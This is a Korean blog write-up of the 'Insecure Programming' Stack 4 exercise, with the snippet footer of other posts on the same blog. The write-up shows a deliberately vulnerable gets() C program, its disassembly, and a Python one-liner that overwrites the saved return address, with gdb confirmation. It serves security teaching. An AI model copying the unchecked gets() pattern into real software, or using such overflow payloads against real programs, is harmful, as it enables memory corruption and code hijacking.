기본 콘텐츠로 건너뛰기

Insecure-programming-stack4

Insecure-programming-stack4

Insecure Programming by example

Stack 4

문제의 전체적인 구성은 이전과 동일하지만, cookie 값을 눈여겨볼 필요가 있다. 0x000d0a00에서 0x0d는 CR(Carriage Return), 0x0a는 LF(Line Feed)로 NULL, r, n, NULL과 같은 형태로 구성된다. 하지만 gets()함수는 EOF나 개행 문자 삽입 시 해당 문자를 제거하고 입력을 종료하게 되므로 gets()함수를 통해서 cookie 값을 전달할 수 없다.

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if(cookie == 0x000d0a00)
		printf("you win!\n");
}

이번 문제에서는 검증로직 우회가 불가하므로 printf("you win!\n");코드를 실행하기 위해서는 해당 코드 주소 직접 호출하는 방식으로 접근해야한다.

objdump를 이용하여 변수의 구성을 확인하자.

# objdump -d -M intel stack4
...

080483b4 <main>:
 80483b4:       55                      push   ebp
 80483b5:       89 e5                   mov    ebp,esp
 80483b7:       83 ec 78                sub    esp,0x78
 80483ba:       83 e4 f0                and    esp,0xfffffff0
 80483bd:       b8 00 00 00 00          mov    eax,0x0
 80483c2:       29 c4                   sub    esp,eax
 80483c4:       8d 45 f4                lea    eax,[ebp-12]
 80483c7:       89 44 24 08             mov    DWORD PTR [esp+8],eax
 80483cb:       8d 45 98                lea    eax,[ebp-104]
 80483ce:       89 44 24 04             mov    DWORD PTR [esp+4],eax
 80483d2:       c7 04 24 d4 84 04 08    mov    DWORD PTR [esp],0x80484d4
 80483d9:       e8 f6 fe ff ff          call   80482d4 <printf@plt>
 80483de:       8d 45 98                lea    eax,[ebp-104]
 80483e1:       89 04 24                mov    DWORD PTR [esp],eax
 80483e4:       e8 cb fe ff ff          call   80482b4 <gets@plt>
 80483e9:       81 7d f4 00 0a 0d 00    cmp    DWORD PTR [ebp-12],0xd0a00
 80483f0:       75 0c                   jne    80483fe <main+0x4a>
 80483f2:       c7 04 24 ec 84 04 08    mov    DWORD PTR [esp],0x80484ec
 80483f9:       e8 d6 fe ff ff          call   80482d4 <printf@plt>
 80483fe:       c9                      leave  
 80483ff:       c3                      ret    

...

gets()함수의 인자 값으로 ebp -104를 전달하는 것으로 보아 buf 배열의 시작이 ebp - 104에 위치한 다는 것을 알 수 있다.

buf ebp eip
Address 104 4 4

여기서 우리가 호출하고자 하는 명령어 mov DWORD PTR [esp],0x80484ec의 주소 80483f2eip에 덮어쓰면 main함수 에필로그 과정에서 저장된 조작된 eip주소를 불러와 you win!을 출력하게 될 것이다.

파이썬으로 입력 값을 생성하여 실제 동작되는 지 확인해보자.

# python -c "print 'a'*108+'\xf2\x83\x04\x08'" > stack4_input_r
# cat stack4_input_r | ./stack4
buf: bffff7e0 cookie: bffff83c
you win!
Segmentation fault
(gdb) set disassembly-flavor intel
(gdb) b *main+53
Breakpoint 1 at 0x80483e9
(gdb) r < stack4_input_r
Starting program: /home/iamroot/workspace/stack4 < stack4_input_r
buf: bffff7b0 cookie: bffff80c

Breakpoint 1, 0x080483e9 in main ()
(gdb) info f
Stack level 0, frame at 0xbffff820:
 eip = 0x80483e9 in main; saved eip 0x80483f2
 Arglist at 0xbffff818, args: 
 Locals at 0xbffff818, Previous frame's sp is 0xbffff820
 Saved registers:
  ebp at 0xbffff818, eip at 0xbffff81c
(gdb) disas
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   ebp
0x080483b5 <main+1>:    mov    ebp,esp
0x080483b7 <main+3>:    sub    esp,0x78
0x080483ba <main+6>:    and    esp,0xfffffff0
0x080483bd <main+9>:    mov    eax,0x0
0x080483c2 <main+14>:   sub    esp,eax
0x080483c4 <main+16>:   lea    eax,[ebp-12]
0x080483c7 <main+19>:   mov    DWORD PTR [esp+8],eax
0x080483cb <main+23>:   lea    eax,[ebp-104]
0x080483ce <main+26>:   mov    DWORD PTR [esp+4],eax
0x080483d2 <main+30>:   mov    DWORD PTR [esp],0x80484d4
0x080483d9 <main+37>:   call   0x80482d4 <printf@plt>
0x080483de <main+42>:   lea    eax,[ebp-104]
0x080483e1 <main+45>:   mov    DWORD PTR [esp],eax
0x080483e4 <main+48>:   call   0x80482b4 <gets@plt>
0x080483e9 <main+53>:   cmp    DWORD PTR [ebp-12],0xd0a00
0x080483f0 <main+60>:   jne    0x80483fe <main+74>
0x080483f2 <main+62>:   mov    DWORD PTR [esp],0x80484ec
0x080483f9 <main+69>:   call   0x80482d4 <printf@plt>
0x080483fe <main+74>:   leave  
0x080483ff <main+75>:   ret    
End of assembler dump.
(gdb) b *main+62
Breakpoint 2 at 0x80483f2
(gdb) c
Continuing.

Breakpoint 2, 0x080483f2 in main ()
(gdb) ni
0x080483f9 in main ()
(gdb) ni
you win!

전체 목록 보기 : Insecure programming
진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

CVE-2017-11352

CVE-2017-11352 ImageMagick 에서 발생했던 CVE-2017-9144 취약점의 미흡한 조치로 인하여 동일한 취약점이 다시 발생되었다. 재 발생된 취약점 CVE-2017-11352은 coders/rle.c 에서 RLE 이미지에 대한 부적절한 EOF 처리가 원인이었다. EOF 란? 파일의 끝(End of File, EOF)으로 데이터 소스로부터 더 이상 읽을 수 있는 데이터가 없음을 나타낸다. ImageMagick Github Page 에 들어가보면 해당 이슈를 상세히 확인할 수 있다. 부적절한 EOF 처리 원인은 소스 코드 수정 시 유사한 코드를 복사 붙여넣기 하는 과정에서 검증해야할 변수 명을 고치지 않고 그대로 적용해서 발생했다. operand=ReadBlobByte(image); if (opcode == EOF) ThrowRLEException(CorruptImageError, "UnexpectedEndOfFile" ); 이로 인해서 조치 완료된 줄 알았던 CVE-2017-9144 취약점은 CVE-2017-11352이라는 새로운 취약점 명으로 다시 조치 되었다. case SkipLinesOp: { operand=ReadBlobByte(image); - if (opcode == EOF) + if (operand == EOF) ThrowRLEException(CorruptImageError, "UnexpectedEndOfFile" ); if (opcode & 0x40 ) { operand=ReadBlobLSBSignedShort(image); - if (opcode == EOF) + if (operand == EO...